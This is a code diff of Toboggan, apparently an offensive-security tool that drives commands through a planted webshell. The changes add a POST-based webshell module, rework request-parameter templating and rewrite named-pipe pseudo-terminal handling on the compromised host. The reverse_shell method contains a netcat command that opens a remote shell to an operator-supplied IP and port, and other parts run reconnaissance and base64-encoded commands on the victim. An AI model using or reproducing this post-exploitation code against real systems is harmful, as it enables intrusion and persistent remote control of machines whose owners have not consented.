@@ -1,17 +1,3 @@ -""" -webshell.py ------------------------- - -Module containing utilities to interact with basic webshells. - -This module currently provides a single function that sends commands to a specific webshell URL and -parses the outputs to sanitize common unwanted escape sequences. It uses the httpx library to make HTTP requests -and the built-in 're' library for regular expressions. - -Functions: - - execute(command: str, timeout: float = None) -> str -""" - # Buit-in imports import re @@ -23,8 +9,8 @@ def execute(command: str, timeout: float = None) -> str: response = httpx.get( url="||URL||", params={ - # ||PARAM_PASSWORD|| "||PARAM_CMD||": command, + # ||PARAMS|| }, # ||BURP|| timeout=timeout, @@ -44,7 +30,4 @@ def execute(command: str, timeout: float = None) -> str: # If there's meaningful content, strip only the trailing escape sequences output = re.sub(r"(\\[nt]|[\n\t])+$", "", output, flags=re.IGNORECASE) - # Add a new line at the end - output += "\n" - return output diff --git a/toboggan/modules/webshell__POST.py b/toboggan/modules/webshell__POST.py new file mode 100644 index 0000000..ec44c03 --- /dev/null +++ b/toboggan/modules/webshell__POST.py @@ -0,0 +1,33 @@ +# Buit-in imports +import re + +# Third party library imports +import httpx + + +def execute(command: str, timeout: float = None) -> str: + response = httpx.post( + url="||URL||", + data={ + "||PARAM_CMD||": command, + # ||PARAMS|| + }, + # ||BURP|| + timeout=timeout, + verify=False, + ) + + # Check if the request was successful + response.raise_for_status() + + # Trying to sanitize most of the webshells outputs + output = response.text + + # Check if entire output consists only of escape sequences + if re.fullmatch(r"(\\[nt]|[\n\t])+", output, flags=re.IGNORECASE): + return "" + + # If there's meaningful content, strip only the trailing escape sequences + output = re.sub(r"(\\[nt]|[\n\t])+$", "", output, flags=re.IGNORECASE) + + return output diff --git a/toboggan/src/commands.py b/toboggan/src/commands.py index a1b6293..062dd2a 100644 --- a/toboggan/src/commands.py +++ b/toboggan/src/commands.py @@ -1,4 +1,5 @@ # Built-in imports +import sys from typing import TYPE_CHECKING from pathlib import Path import secrets @@ -18,7 +19,7 @@ # Module variables definition -DEFAULT_PREFIX = "\\" +DEFAULT_PREFIX = "/" INTERACTIVITY_CLASSES = { "unix": [ @@ -166,10 +167,10 @@ def terminate(self) -> None: """ if self.__interactivity is not None: keeping = utils.yes_no_query( - prompt=f"[Toboggan] Would you like to save the current session?", + prompt="[Toboggan] Would you like to save the current session?", ) self.__interactivity.stop(keep_session=keeping) - exit(0) + sys.exit(0) def get_prompt(self) -> str: """ diff --git a/toboggan/src/executor.py b/toboggan/src/executor.py index 0837b67..fbfde54 100644 --- a/toboggan/src/executor.py +++ b/toboggan/src/executor.py @@ -28,31 +28,14 @@ def __init__( self, module_path: str = None, url: str = None, - password_param: str = None, - password_content: str = None, + request_parameters: dict = None, + command_parameter: str = "cmd", burp_proxy: bool = False, ) -> None: - """ - Initializes the Module class. - - Args: - module_path (str, optional): Path to the Python module that is to be executed. - Defaults to 'webshell' if not specified. - url (str, optional): URL to use if a built-in module is specified. - password_param (str, optional): Name of the password parameter key, e.g., "pass". - If not provided but password_content is given, a default key "ps" will be used. - password_content (str, optional): Value of the password to be set for the module. - Will be used if a placeholder is present in the module code. - - Raises: - FileNotFoundError: If the specified module file does not exist. - TypeError: If the specified file is not a Python module (does not have .py extension). - ValueError: If a built-in module is specified without an accompanying URL. - """ self.__module_path = module_path or "webshell" self.__url = url - self.__password_param = password_param - self.__password_content = password_content + self.__request_parameters = request_parameters + self.__command_parameter = command_parameter self.__burp_proxy = burp_proxy self.__load_module() @@ -60,17 +43,37 @@ def __init__( # Public methods # Private methods - def __configure_webshell_module(self, module_code): - parsed_url = urlparse(self.__url) - query_params = parse_qs(parsed_url.query) - param_key = list(query_params.keys())[-1] if query_params else "cmd" - module_code = module_code.replace("||URL||", self.__url).replace( - "||PARAM_CMD||", param_key + def __configure_webshell_module(self, module_code: str) -> str: + """ + Configures the webshell module with the provided URL and request parameters. + + Args: + module_code (str): The module code as a string. + + Returns: + str: The configured module code with URL and parameters substituted. + """ + if not self.__url: + raise ValueError( + "[Toboggan] No URL provided. Cannot configure the webshell module." + ) + + # Replace the ||URL|| placeholder + module_code = module_code.replace("||URL||", self.__url) + module_code = module_code.replace("||PARAM_CMD||", self.__command_parameter) + + # Format the parameters into a dictionary string + params = ", ".join( + [ + f'"{key}": "{value}"' + for key, value in (self.__request_parameters or {}).items() + ] ) - if self.__password_content is not None: - password = f'"{self.__password_param if self.__password_param else "ps"}": "{self.password_content}",' - module_code = module_code.replace("# ||PARAM_PASSWORD||", password) + # Replace the ||PARAMS|| placeholder + module_code = module_code.replace("# ||PARAMS||", params) + + # print(module_code) return module_code @@ -94,10 +97,10 @@ def __load_module(self) -> None: # Check for built-in module built_in_module_path = Path(BUILT_IN_MODULES_DIR) / (self.__module_path + ".py") if built_in_module_path.exists(): - print(f"[Toboggan] Using built-in method {module_name}.") + print(f"[Toboggan] Using built-in module {module_name}.") module_code = built_in_module_path.read_text(encoding="utf-8") - if self.__module_path == "webshell": + if self.__module_path.startswith("webshell"): if self.__url is None: raise ValueError( "[Toboggan] No url provided. Cannot handle the webshell." @@ -123,22 +126,24 @@ def __load_module(self) -> None: # Apply Burp Proxy configuration if self.__burp_proxy: print("[Toboggan] All requests will be transmitted through Burp proxy.") - if module_name == 'snippet': - module_code = module_code.replace('if False', 'if True') + if module_name == "snippet": + module_code = module_code.replace("if False", "if True") else: if "# ||BURP||" not in module_code: print("[Toboggan] '# ||BURP||' placeholder not found.") else: module_code = module_code.replace( - "# ||BURP||", - 'proxies={"http://": "http://127.0.0.1:8080", "https://": "http://127.0.0.1:8080"},', - ) + "# ||BURP||", + 'proxies={"http://": "http://127.0.0.1:8080", "https://": "http://127.0.0.1:8080"},', + ) # Load the module - module = types.ModuleType(name=module_name) - exec(module_code, module.__dict__) + current_module = types.ModuleType(name=module_name) + exec(module_code, current_module.__dict__) - if not hasattr(module, "execute") or not callable(getattr(module, "execute")): + if not hasattr(current_module, "execute") or not callable( + getattr(current_module, "execute") + ): raise TypeError( f"The module {module_name} does not contain a callable 'execute' method." ) @@ -147,14 +152,14 @@ def __load_module(self) -> None: # Check if required parameters are present in the 'execute' method if not all( - param in inspect.signature(module.execute).parameters + param in inspect.signature(current_module.execute).parameters for param in required_params ): raise TypeError( f"The 'execute' method in {module_name} does not have the expected parameters: {', '.join(required_params)}." ) - self.__module = module + self.__module = current_module print(f"[Toboggan] Module {module_name} loaded ๐Ÿ’พ.") # Properties @@ -162,14 +167,6 @@ def __load_module(self) -> None: def module(self): return self.__module - @property - def module_name(self) -> str: - return self.__module_name - - @property - def module_code(self) -> str: - return self.__module_code - class Executor: """Executor class for handling module execution.""" @@ -223,6 +220,9 @@ def execute(self, command: str, timeout: float = None, retry: bool = True) -> st if "414 Request-URI" in str(error): break + if "302" in str(error): + break + if not retry: return @@ -245,7 +245,7 @@ def execute(self, command: str, timeout: float = None, retry: bool = True) -> st result = self.__os_handler.unobfuscate_result(result) except ValueError as error: raise ValueError( - f"Unobfuscation of the received output failed.\n\t-Command: {command!r}\n\t-Result: {result!r}" + f"Unobfuscation of the received output failed.\n\tโ€ข Command: {command!r}\n\tโ€ข Result: {result!r}" ) from error return result diff --git a/toboggan/src/interactivity.py b/toboggan/src/interactivity.py index c77ef3b..3e802e9 100644 --- a/toboggan/src/interactivity.py +++ b/toboggan/src/interactivity.py @@ -9,10 +9,6 @@ from toboggan.src import target from toboggan.src import utils -# Type checking -if TYPE_CHECKING: - from toboggan.src import target - class Interactivity(ABC): """ @@ -58,12 +54,13 @@ class UnixNamedPipe(Interactivity): def __init__( self, - target: "target.Target", + target: target.Target, read_interval: float = None, session_identifier: str = None, ): self.__read_interval = read_interval self.__read_thread = None + self.__stop_thread = False self.__session = session_identifier self.__remote_working_directory = ( @@ -101,15 +98,10 @@ def start(self) -> None: """ Start the named pipe interactivity. - This method checks if FIFO pipes are present on the remote system, sets them up if not, - and then starts the polling thread to continuously read from the named pipe for any - command output. - Note: The method uses a separate thread to poll the named pipe so as not to block the main thread. """ - if not self.__fifo_check(): - self.__fifo_setup() + self.__fifo_setup() self.__start_poll_thread() @@ -136,9 +128,9 @@ def stop(self, keep_session: bool) -> None: f"[Toboggan] Sending SIGTERM signal to session {self.__session} processes โœ‹." ) self.__target.executor.execute( - command="/usr/bin/pkill -TERM -f '/usr/bin/tail -f'", + command=f"/usr/bin/pkill -TERM -f '/usr/bin/tail -f {self.__stdin}'", ) - print(f"[Toboggan] Removing the stdin and stdout files ๐Ÿงน.") + print("[Toboggan] Removing the stdin and stdout files ๐Ÿงน.") self.__target.executor.execute( command=f"/bin/rm -rf {self.__remote_working_directory}", ) @@ -160,47 +152,14 @@ def execute(self, command: str) -> None: Returns: None """ - b64command = base64.b64encode( - "{}\n".format(command.rstrip()).encode("utf-8") - ).decode("utf-8") + b64command = base64.b64encode(f"{command.rstrip()}\n".encode("utf-8")).decode( + "utf-8" + ) self.__target.executor.execute( command=f"/bin/echo '{b64command}'|/usr/bin/base64 -d > {self.__stdin}" ) # Private methods - def __fifo_check(self) -> bool: - """ - Verifies the existence of the named pipes session (stdin and stdout) and checks - if the associated processes are running. - - This method checks both the presence of the stdin and stdout files and also - the state of the 'tail -f' process that facilitates reading from the named pipe. - - Returns: - bool: True if both named pipes exist and the associated process is running. False otherwise. - """ - - # Check if both fifo files exist - stdin_exists = self.__target.executor.execute( - command=f"[[ -e {self.__stdin} ]] && /bin/echo 'e'" - ).strip() - stdout_exists = self.__target.executor.execute( - command=f"[[ -e {self.__stdout} ]] && /bin/echo 'e'" - ).strip() - - if stdin_exists == "e" and stdout_exists == "e": - print(f"[Toboggan] stdin and stdout files are already present remotely.") - - # Check if the mkfifo process is running - if self.__target.executor.execute( - command=f"/bin/ps -ef | /bin/grep 'tail -f {self.__stdin}' | /bin/grep -v /bin/grep" - ).strip(): - print(f"[Toboggan] mkfifo process is up and running.") - return True - - print(f"[Toboggan] mkfifo process seems down.") - - return False def __fifo_setup(self) -> None: """ @@ -213,6 +172,10 @@ def __fifo_setup(self) -> None: command=f"mkdir {self.__remote_working_directory}" ) + self.__target.executor.execute( + command=f"/usr/bin/pkill -TERM -f '/usr/bin/tail -f {self.__stdin}'", + ) + # Since mkfifo isn't a command you would typically need for booting or system recovery, # it's placed in /usr/bin/ in some systems. if problem := self.__target.executor.execute( @@ -231,21 +194,10 @@ def __fifo_setup(self) -> None: f"[Toboggan] Working directory created: {self.__remote_working_directory} ๐Ÿ“‚" ) - # Check if the tail process is running and start it if not already running - tail_process_pid = self.__target.executor.execute( - command=f"pgrep -f 'tail -f {self.__stdin}'" - ).strip() - - if not tail_process_pid: - print(f"[Toboggan] Starting new tail process for FIFO input.") - self.__target.executor.one_shot_execute( - command=f"/usr/bin/tail -f {self.__stdin}|$0 > {self.__stdout} 2>&1" - ) - print(f"[Toboggan] Tail process started for FIFO input.") - else: - print( - f"[Toboggan] Tail process for FIFO input is already running with PID: {tail_process_pid}." - ) + self.__target.executor.one_shot_execute( + command=f"/usr/bin/tail -f {self.__stdin}|$0 > {self.__stdout} 2>&1 &" + ) + print("[Toboggan] Tail process started for FIFO input.") def __start_poll_thread(self) -> None: """ @@ -264,7 +216,7 @@ def __start_poll_thread(self) -> None: self.__read_thread = threading.Thread(target=self.__poll_output, args=()) self.__read_thread.daemon = True self.__read_thread.start() - print(f"[Toboggan] Polling thread started ๐Ÿ“–") + print("[Toboggan] Polling thread started ๐Ÿ“–") def __poll_output(self) -> None: """ @@ -277,14 +229,15 @@ def __poll_output(self) -> None: This method is intended to be used as a target for threading. """ - while not self.__stop_thread: # Check the stop flag - if result := self.__target.executor.execute(f"cat {self.__stdout}"): - print(result, end="", flush=True) - # Clearing the file + while not self.__stop_thread: + command_output = self.__target.executor.execute(f"cat {self.__stdout}") + + if command_output: + print(command_output, end="", flush=True) + self.__target.executor.execute(command=f"true > {self.__stdout}") - sleep_time = self.__read_interval + self.__get_jitter() - time.sleep(sleep_time) + time.sleep(self.__read_interval + self.__get_jitter()) def __get_jitter(self) -> float: """ diff --git a/toboggan/src/operating_systems.py b/toboggan/src/operating_systems.py index a09cc74..31fcdde 100644 --- a/toboggan/src/operating_systems.py +++ b/toboggan/src/operating_systems.py @@ -29,8 +29,6 @@ def fetch_initial_details(self) -> None: # Number of _execute function calls num_commands = 4 - print("[Toboggan] Fetching machine details...") - start_time = time.time() self._user = self._execute("whoami").strip() total_time += (time.time() - start_time) * 1000 # Convert time to milliseconds @@ -258,7 +256,7 @@ def reverse_shell(self, ip_addr: str, port: int = 443, shell: str = None) -> str timeout=2, retry=False, ) - print(f"[Toboggan] python revershell sent.") + print("[Toboggan] python revershell sent.") elif self._execute("command -v nc").strip(): if self._execute("command -v mkfifo").strip(): self._execute( @@ -266,14 +264,14 @@ def reverse_shell(self, ip_addr: str, port: int = 443, shell: str = None) -> str timeout=2, retry=False, ) - print(f"[Toboggan] mkfifo revershell sent.") + print("[Toboggan] mkfifo revershell sent.") else: self._execute( f"/bin/busybox nc {ip_addr} {port} -e {shell}", timeout=2, retry=False, ) - print(f"[Toboggan] nc revershell sent.") + print("[Toboggan] nc reverse shell sent.") else: print("[Toboggan] No possible reverse shell methods found.") @@ -292,10 +290,6 @@ def _handle_os_specific_cases(self) -> None: self.__analyse_path_variable() self.__analyse_aslr() self.__analyse_ptrace_scope() - # Potential vulnerabilities or misconfigurations - self.__analyse_weak_file_permissions() - self.__analyse_readable_files_other_users() - self.__analyse_no_owners_files() # Private methods def __analyse_readable_files_other_users(self) -> None: diff --git a/toboggan/src/terminal.py b/toboggan/src/terminal.py index b456d49..cf19f72 100644 --- a/toboggan/src/terminal.py +++ b/toboggan/src/terminal.py @@ -11,7 +11,7 @@ class Shell: def __init__( self, - commands: "commands.Commands", + commands: commands.Commands, interactive: bool = False, read_interval: float = 0.4, session_identifier: str = None, @@ -46,11 +46,11 @@ def start(self) -> None: continue except KeyboardInterrupt: if keyboard_interruption == 3: - print(f"[Toboggan] Emergency exit received. ") + print("[Toboggan] Emergency exit received. ") self.__commands.terminate() keyboard_interruption += 1 print( - f"[Toboggan] Keyboard interruption received. Not exiting.", + "[Toboggan] Keyboard interruption received. Not exiting.", flush=True, ) continue